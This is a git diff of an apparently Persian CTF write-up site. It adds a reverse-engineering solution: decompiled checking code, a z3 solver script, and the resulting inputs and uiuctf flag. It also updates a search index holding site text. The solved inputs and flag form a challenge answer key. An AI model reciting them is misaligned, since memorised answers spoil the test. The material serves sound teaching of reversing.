+  if ( a1 <= 0x5F5E100 || a2 <= 0x5F5E100 || a3 <= 0x5F5E100 || a4 <= 0x5F5E100 || a5 <= 0x5F5E100 || a6 <= 0x5F5E100 )
+    return 0LL;
+  if ( a1 > 0x3B9AC9FF || a2 > 0x3B9AC9FF || a3 > 0x3B9AC9FF || a4 > 0x3B9AC9FF || a5 > 0x3B9AC9FF || a6 > 0x3B9AC9FF )
+    return 0LL;
+
+  v7 = sub_4016D8(a1, a2);
+  v18 = (unsigned int) sub_40163D(v7, a3) % 0x10AE961;
+  v19 = (unsigned int) sub_40163D(a1, a2) % 0x1093A1D;
+  v8 = sub_4016FE(2u, a2);
+  v9 = sub_4016FE(3u, a1);
+  v10 = sub_4016D8(v9, v8);
+  v20 = v10 % (unsigned int) sub_40174A(a1, a4);
+  v11 = sub_40163D(a3, a1);
+  v21 = (unsigned int) sub_4017A9(a2, v11) % 0x6E22;
+  v22 = (unsigned int) sub_40163D(a2, a4) % a1;
+  v12 = sub_40163D(a4, a6);
+  v23 = (unsigned int) sub_40174A(a3, v12) % 0x1CE628;
+  v24 = (unsigned int) sub_4016D8(a5, a6) % 0x1172502;
+  v25 = (unsigned int) sub_40163D(a5, a6) % 0x2E16F83;
+  return v18 == 4139449
+      && v19 == 9166034
+      && v20 == 556569677
+      && v21 == 12734
+      && v22 == 540591164
+      && v23 == 1279714
+      && v24 == 17026895
+      && v25 == 23769303;
+}
+

تا اینجای برنامه، از ما ۶ عدد ۹ رقمی به عنوان ورودی گرفته میشه و بعدش یک تابعی برای انجام یکسری چک شرطی روی این مقادیر صدا زده میشه. در این تابع اول چک میشه که همه عددا ۹ رقمی باشن حتما و بعدش با صدا زدن یکسری از توابع دیگه و انجام اعمال ریاضی، تعدادی متغیر رو حساب میکنه و نهایتا مقدار اونارو چک میکنه و درست یا نادرست رو برمی‌گردونه. حالا ببینیم این یکسری تابع هر کدوم دارن چکار میکنن:

int sub_40163D(unsigned int a1, unsigned int a2)
+{
+  unsigned int v5;
+  char v6;
+  int v7;
+  int v8;
+  long v9;
+
+  v9 = 0LL;
+  v5 = 0;
+  v6 = 0;
+  while ( a1 || a2 )
+  {
+    v7 = a1 & 1;
+    v8 = a2 & 1;
+    a1 >>= 1;
+    a2 >>= 1;
+    v9 += (v5 ^ v8 ^ v7) << v6;
+    v5 = v5 & v7 | v8 & v7 | v5 & v8;
+    ++v6;
+  }
+  return ((unsigned __int64)v5 << v6) + v9;
+}
+

اولش به نظر میاد که یکسری عمل بیتی پیچیده در حال انجام هست ولی اگر بیشتر دقت کنیم، این کد در واقع شبیه‌ساز یک مدار adder بیتی هست که با یک full-adder و برای تمامی بیت‌ها عمل جمع رو انجام میده و نهایتا نتیجه این تابع، جمع دو عدد ورودی با رعایت carry در محاسبات هست. برای مطالعه بیشتر درباره اعمال محاسباتی بیتی باینری، می‌تونید از لینک ۱ و لینک ۲ استفاده کنید.

int sub_4016D8(unsigned int a1, int a2)
+{
+  return sub_40163D(a1, -a2);
+}
+
این تابع ورودی دوم رو منفی کرده و بعد اون دو رو به همون تابع قبلی می‌ده. بنابراین عمل تفریق بیتی در این تابع انجام می‌شه.

int sub_4016FE(unsigned int a1, int a2)
+{
+  unsigned int v4;
+  int v5;
+
+  v4 = 0;
+  v5 = 0;
+  while ( a1 )
+  {
+    v4 += (a1 & 1) * (a2 << v5);
+    a1 >>= 1;
+    ++v5;
+  }
+  return v4;
+}
+
این تابع عمل ضرب بیتی رو به روش shift & add برای دو عدد انجام می‌ده.

int sub_40174A(unsigned int a1, unsigned int a2)
+{
+  unsigned int v5;
+  int v6;
+  int v7;
+  int v8;
+
+  v5 = 0;
+  v6 = 0;
+  while ( a1 || a2 )
+  {
+    v7 = a1 & 1;
+    v8 = a2 & 1;
+    a1 >>= 1;
+    a2 >>= 1;
+    v5 += (v8 ^ v7) << v6++;
+  }
+  return v5;
+}
+
این تابع دو عدد رو به صورت بیت به بیت xor می‌کنه.

int sub_4017A9(unsigned int a1, unsigned int a2)
+{
+  unsigned int v5;
+  int v6;
+  int v7;
+  int v8;
+
+  v5 = 0;
+  v6 = 0;
+  while ( a1 || a2 )
+  {
+    v7 = a1 & 1;
+    v8 = a2 & 1;
+    a1 >>= 1;
+    a2 >>= 1;
+    v5 += (v8 & v7) << v6++;
+  }
+  return v5;
+}
+
این تابع هم دو عدد رو به صورت بیت به بیت And می‌کنه.

حالا با این دانش میریم سراغ جایگذاری این اعمال به جای اسم تابع‌ها و تشکیل دستگاه معادلات و مجهولاتی که باید حل کنیم تا به اعداد مورد نظر برسیم:

((a1 - a2) + a3) % 0x10AE961 == 4139449
+(a1 + a2) % 0x1093A1D == 9166034
+(3 * a1 - 2 * a2) % (a1 ^ a4) == 556569677
+(a2 & (a3 + a1)) % 0x6E22 == 12734
+(a2 + a4) % a1 == 540591164
+(a3 ^ (a4 + a6)) % 0x1CE628 == 1279714
+(a5 - a6) % 0x1172502 == 17026895
+(a5 + a6) % 0x2E16F83 == 23769303
+
برای حل این دستگاه نسبتا پیچیده به جای روش های دستی، میایم از یک کتابخونه پایتون به نام z3 که مخصوص حل معادلات و پیدا کردن مجموعه‌ای از assignment ها که یک سیستم خطی از شرایط رو ارضا کنه هست، استفاده می‌کنیم و اسکریپت زیر رو برای حل می‌نویسیم.

from z3 import *
+
+a1 = BitVec('a1', 64)
+a2 = BitVec('a2', 64)
+a3 = BitVec('a3', 64)
+a4 = BitVec('a4', 64)
+a5 = BitVec('a5', 64)
+a6 = BitVec('a6', 64)
+
+s = Solver()
+
+s.add(a1 >= 100000000, a1 <= 999999999)
+s.add(a2 >= 100000000, a2 <= 999999999)
+s.add(a3 >= 100000000, a3 <= 999999999)
+s.add(a4 >= 100000000, a4 <= 999999999)
+s.add(a5 >= 100000000, a5 <= 999999999)
+s.add(a6 >= 100000000, a6 <= 999999999)
+
+s.add(((a1 - a2) + a3) % 0x10AE961 == 4139449)
+s.add((a1 + a2) % 0x1093A1D == 9166034)
+s.add((3 * a1 - 2 * a2) % (a1 ^ a4) == 556569677)
+s.add((a2 & (a3 + a1)) % 0x6E22 == 12734)
+s.add((a2 + a4) % a1 == 540591164)
+s.add((a3 ^ (a4 + a6)) % 0x1CE628 == 1279714)
+s.add((a5 - a6) % 0x1172502 == 17026895)
+s.add((a5 + a6) % 0x2E16F83 == 23769303)
+
+if s.check() == sat:
+    model = s.model()
+    print("Solution found:")
+    print(f"a1 = {model[a1]}")
+    print(f"a2 = {model[a2]}")
+    print(f"a3 = {model[a3]}")
+    print(f"a4 = {model[a4]}")
+    print(f"a5 = {model[a5]}")
+    print(f"a6 = {model[a6]}")
+else:
+    print("No")
+

بعد از ران کردن این کد خروجی زیر به دست می‌آید:

Solution found:
+a1 = 705965527
+a2 = 780663452
+a3 = 341222189
+a4 = 465893239
+a5 = 966221407
+a6 = 217433792
+
با اجرا و دادن این ورودی‌ها به فایل باینری، می‌بینیم که برنامه فلگ رو برای ما چاپ می‌کنه.


FLAG 🚩

uiuctf{2a142dd72e87fa9c1456a32d1bc4f77739975e5fcf5c6c0}

نویسنده

Sadegh

\ No newline at end of file diff --git a/search/search_index.json b/search/search_index.json index f92b9c4d..8af1cf7a 100644 --- a/search/search_index.json +++ b/search/search_index.json @@ -1 +1 @@ -{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":[" "]},"docs":[{"location":"","title":"\u0633\u062e\u0646 \u0622\u063a\u0627\u0632\u06cc\u0646","text":"

\u0628\u0647 \u0635\u0641\u062d\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc \u062e\u0648\u0634 \u0622\u0645\u062f\u06cc\u062f. \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631\u060c \u0627\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0622\u0632\u0645\u0627\u06cc\u0634\u06cc \u0635\u0641\u062d\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u0627\u0639\u0636\u0627 \u062a\u06cc\u0645 \u0627\u0633\u062a. \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u06af\u0627\u0645\u06cc \u0647\u0631\u0686\u0646\u062f \u0627\u0646\u062f\u06a9 \u062f\u0631 \u062c\u0647\u062a \u0627\u0631\u062a\u0642\u0627\u0621 \u062f\u0627\u0646\u0634 \u0648 \u0622\u06af\u0627\u0647\u06cc \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f\u0627\u0646 \u0628\u0647 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u062f\u0631 \u0627\u06cc\u0646 \u0633\u0631\u0632\u0645\u06cc\u0646 \u0628\u0627\u0634\u062f.

\u0627\u0645\u0631\u0648\u0632\u0647 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627 \u062f\u0631 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0627\u063a\u0644\u0628 \u0628\u0647 \u0632\u0628\u0627\u0646 \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u0646\u0648\u0634\u062a\u0647 \u0648 \u0645\u0646\u062a\u0634\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0637\u0627\u0644\u0639\u0647 \u0645\u062d\u062a\u0648\u0627\u06cc \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u0628\u0631\u0627\u06cc \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0627\u0641\u0631\u0627\u062f \u062f\u0634\u0648\u0627\u0631 \u0628\u0627\u0634\u062f\u060c \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u06cc\u0645 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0632\u0628\u0627\u0646 \u0641\u0627\u0631\u0633\u06cc \u0645\u0646\u062a\u0634\u0631 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0645\u062e\u0627\u0637\u0628\u06cc\u0646 \u0641\u0627\u0631\u0633\u06cc \u0632\u0628\u0627\u0646 \u0641\u0631\u0627\u06cc\u0646\u062f \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0631\u0627 \u0628\u0647\u062a\u0631 \u062f\u0631\u06a9 \u06a9\u0646\u0646\u062f. \u0645\u0627 \u062f\u0631 \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc \u0628\u0631 \u0627\u06cc\u0646 \u0628\u0627\u0648\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u0631\u0627\u0626\u0647 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627 \u0648 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0622\u0646\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0647\u0645\u06af\u0627\u0646\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u0645\u0628\u0648\u062f \u0645\u0646\u0627\u0628\u0639 \u0641\u0627\u0631\u0633\u06cc \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a \u0631\u0627 \u062a\u0627 \u062d\u062f\u06cc \u062c\u0628\u0631\u0627\u0646 \u06a9\u0646\u062f.

\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u06a9\u0648\u0634\u06cc\u062f\u06cc\u0645 \u062a\u0627 \u0628\u0633\u062a\u0631\u06cc \u062c\u0630\u0627\u0628 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e \u0641\u0631\u0627\u0647\u0645 \u06a9\u0646\u06cc\u0645. \u0628\u062f\u06cc\u0646 \u0645\u0646\u0638\u0648\u0631 \u0627\u0645\u06a9\u0627\u0646 \u0633\u0641\u0627\u0631\u0634\u06cc\u200c\u0633\u0627\u0632\u06cc \u0628\u0631\u062e\u06cc \u0642\u0633\u0645\u062a\u200c\u0647\u0627 \u062f\u0631 \u0633\u0627\u06cc\u062a \u062a\u0639\u0628\u06cc\u0647 \u0634\u062f\u0647 \u062a\u0627 \u062a\u062c\u0631\u0628\u0647 \u0645\u062a\u0641\u0627\u0648\u062a\u06cc \u0627\u0632 \u0645\u0637\u0627\u0644\u0639\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0631 \u0627\u0633\u0627\u0633 \u0633\u0644\u06cc\u0642\u0647 \u0634\u062e\u0635\u06cc \u062e\u0648\u062f \u0634\u06a9\u0644 \u062f\u0647\u06cc\u062f. \u0628\u0631\u0627\u06cc \u0634\u062e\u0635\u06cc\u200c\u0633\u0627\u0632\u06cc \u0633\u0627\u06cc\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0628\u0631\u0648\u06cc\u062f.

"},{"location":"blockchain/","title":"\u0628\u0644\u0627\u06a9\u0686\u06cc\u0646","text":""},{"location":"blog/","title":"\u0648\u0628\u0644\u0627\u06af\u200c \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc","text":""},{"location":"blog/2024/02/25/snapp-ctf-2024/","title":"\u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0627\u0633\u0646\u067e","text":"

\u0633\u0644\u0627\u0645\u060c \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u0645 \u062d\u0627\u0644\u062a\u0648\u0646 \u062e\u0648\u0628 \u0628\u0627\u0634\u0647

\u0627\u06cc\u0646 \u0627\u062e\u0631 \u0647\u0641\u062a\u0647 \u062a\u0648 \u0645\u0633\u0627\u0628\u0642\u0647 \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0627\u0633\u0646\u067e \u0634\u0631\u06a9\u062a \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0631\u062a\u0628\u0647 \u062f\u0648\u0645 \u0631\u0648 \u06a9\u0633\u0628 \u06a9\u0646\u06cc\u0645 \ud83e\udd73\u270c\ud83c\udffb\ud83d\udd25

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0628\u0639\u0636\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062a\u06cc\u0645\u0645\u0648\u0646 \u0645\u0648\u0641\u0642 \u0628\u0647 \u062d\u0644\u0634\u0648\u0646 \u0634\u062f\u0647 \u0631\u0648 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u06cc\u0645. \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u0627\u06cc\u0646 \u0645\u0637\u0627\u0644\u0628 \u0628\u0631\u0627\u06cc \u0639\u062f\u0647\u200c\u0627\u06cc \u0645\u0641\u06cc\u062f \u0648 \u06a9\u0645\u06a9\u200c\u06a9\u0646\u0646\u062f\u0647 \u0648\u0627\u0642\u0639 \u0634\u0647\u2728

webrevforensicsOSINTmisccryptopwn \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Welcome web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Snapp cat! web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Snapp fal! web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e b64 web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Vitis \ud83e\ude9f rev \u0631\u0627\u06cc\u062a\u200c\u0622\u067e TurnOB rev \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Blink rev \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Report \ud83d\udcdd forensics \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Bandy forensics & misc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e False sight forensics \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Customers OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Records OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Bounties OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Saving OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Prying eyes \ud83d\udc40 misc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Bandy forensics & misc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Cryptos crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Bombastic crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e MASCOT crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Blex crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e snapp_admin pwn \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Snappshell pwn \u0631\u0627\u06cc\u062a\u200c\u0622\u067e

"},{"location":"crypto/","title":"\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":"

\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0628\u0647 \u0647\u0646\u0631 \u0646\u0648\u0634\u062a\u0646 \u0631\u0645\u0632\u0647\u0627 \u0648 \u06a9\u062f\u0647\u0627\u06cc \u0645\u062e\u0641\u06cc \u06af\u0641\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0631\u0645\u0632\u0647\u0627\u06cc \u0639\u0628\u0648\u0631\u060c \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u0627\u0646\u06a9\u06cc\u060c \u0627\u0631\u0633\u0627\u0644 \u0648 \u062f\u0631\u06cc\u0627\u0641\u062a \u067e\u06cc\u0627\u0645 \u062f\u0631 \u067e\u06cc\u0627\u0645\u200c\u0631\u0633\u0627\u0646\u200c\u0647\u0627 \u0648 \u0647\u0631 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0634\u0627\u0645\u0644 \u0627\u0646\u062a\u0642\u0627\u0644 \u0648 \u0630\u062e\u06cc\u0631\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u06cc\u0646\u062a\u0631\u0646\u062a\u06cc \u0627\u0645\u0631\u0648\u0632 \u0628\u0627\u0634\u062f \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0627\u0631\u062f. \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0647\u06cc\u0686 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u06cc\u0627 \u0633\u06cc\u0633\u062a\u0645\u06cc \u06a9\u0627\u0645\u0644\u0627 \u0627\u0645\u0646 \u0646\u06cc\u0633\u062a\u060c \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u200c\u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f (\u0645\u062a\u0642\u0627\u0631\u0646\u060c \u0646\u0627\u0645\u062a\u0642\u0627\u0631\u0646\u060c \u0627\u0645\u0636\u0627\u06cc \u062f\u06cc\u062c\u06cc\u062a\u0627\u0644) \u0646\u06cc\u0632 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0627\u0631\u0627\u06cc \u0646\u0642\u0635\u200c\u0647\u0627\u06cc\u06cc \u0628\u0627\u0634\u0646\u062f. \u0647\u062f\u0641 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc CTF \u0627\u06cc\u062c\u0627\u062f \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0646\u0642\u0635\u200c\u0647\u0627 \u0648 \u0628\u0627\u0644\u0627 \u0628\u0631\u062f\u0646 \u062f\u0627\u0646\u0634 \u0627\u0641\u0631\u0627\u062f \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0645\u0641\u0627\u0647\u06cc\u0645 \u067e\u0627\u06cc\u0647\u200c\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06cc\u0639\u0646\u06cc \u0645\u0628\u0627\u062d\u062b \u0631\u06cc\u0627\u0636\u06cc \u0622\u0646\u200c\u0647\u0627 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0634\u0627\u0645\u0644 \u0634\u06a9\u0633\u062a\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u060c \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0645\u062a\u0648\u0646 \u0631\u0645\u0632\u06cc \u06cc\u0627 \u062f\u0648\u0631 \u0632\u062f\u0646 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627 \u0648 \u067e\u0631\u0648\u062a\u06a9\u0644\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u062f\u0631\u0633\u062a\u06cc \u067e\u06cc\u0627\u062f\u0647 \u0646\u0634\u062f\u0647\u200c\u0627\u0646\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062a\u0646\u0647\u0627 \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u0627\u062f\u0631\u0633\u062a \u0627\u0632 \u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u06cc\u200c\u067e\u0631\u062f\u0627\u0632\u0646\u062f \u06a9\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0646\u0634 \u0639\u0645\u06cc\u0642\u06cc \u0627\u0632 \u0631\u0648\u0627\u0628\u0637 \u0631\u06cc\u0627\u0636\u06cc \u0622\u0646\u0647\u0627 \u0646\u062f\u0627\u0631\u062f.

","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/#ctf","title":"\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","text":"

\u0627\u0644\u06af\u0648\u0631\u06cc\u062a\u0645\u200c\u0647\u0627 \u0648 \u0637\u0631\u062d\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0627\u0631\u0627\u06cc \u0627\u0646\u0648\u0627\u0639 \u0645\u062e\u062a\u0644\u0641\u06cc \u0647\u0633\u062a\u0646\u062f. \u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u062c\u0627 \u0641\u0627\u0631\u063a \u0627\u0632 \u0646\u0648\u0639 \u0648 \u06a9\u0627\u0631\u0628\u0631\u062f \u0622\u0646\u200c\u0647\u0627\u060c \u062a\u0646\u0647\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0631\u0627 \u0628\u0647 \u062f\u0648 \u062f\u0633\u062a\u0647 \u06a9\u0644\u06cc \u062a\u0642\u0633\u06cc\u0645 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645:

","tags":["\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc"]},{"location":"crypto/#-","title":"\u06f1- \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 \u0645\u0641\u0627\u0647\u06cc\u0645 \u0631\u06cc\u0627\u0636\u06cc","text":"

\u0627\u06cc\u0646 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0635\u0631\u0641\u0627 \u0628\u0647 \u0645\u0641\u0627\u0647\u06cc\u0645 \u067e\u0627\u06cc\u0647\u200c\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc \u0645\u062a\u0645\u0631\u06a9\u0632 \u0647\u0633\u062a\u0646\u062f \u0648 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062d\u0644 \u06cc\u06a9 \u0645\u0633\u0626\u0644\u0647 \u0631\u06cc\u0627\u0636\u06cc \u0628\u0631\u0627\u06cc \u0622\u0646 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0627\u0631\u0646\u062f. \u0628\u0631\u0627\u06cc \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u067e\u0631\u0686\u0645 \u062f\u0631 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u060c \u0634\u0645\u0627 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062f\u0627\u0634\u062a\u0646 \u062f\u0627\u0646\u0634 \u06a9\u0627\u0641\u06cc \u062f\u0631 \u0645\u0628\u0627\u062d\u062b \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u0627\u0646\u0646\u062f \u0645\u062d\u0627\u0633\u0628\u0627\u062a \u067e\u06cc\u0645\u0627\u0646\u0647\u200c\u0627\u06cc\u060c \u0644\u06af\u0627\u0631\u06cc\u062a\u0645\u200c\u0647\u0627\u06cc \u06af\u0633\u0633\u062a\u0647\u060c \u0645\u0639\u0627\u062f\u0644\u0627\u062a \u0686\u0646\u062f\u062c\u0645\u0644\u0647\u200c\u0627\u06cc\u060c \u0645\u0646\u062d\u0646\u06cc\u200c\u0647\u0627\u06cc \u0628\u06cc\u0636\u0648\u06cc \u0648 \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0645\u0634\u0628\u06a9\u0647 (Lattice) \u062f\u0627\u0631\u06cc\u062f.

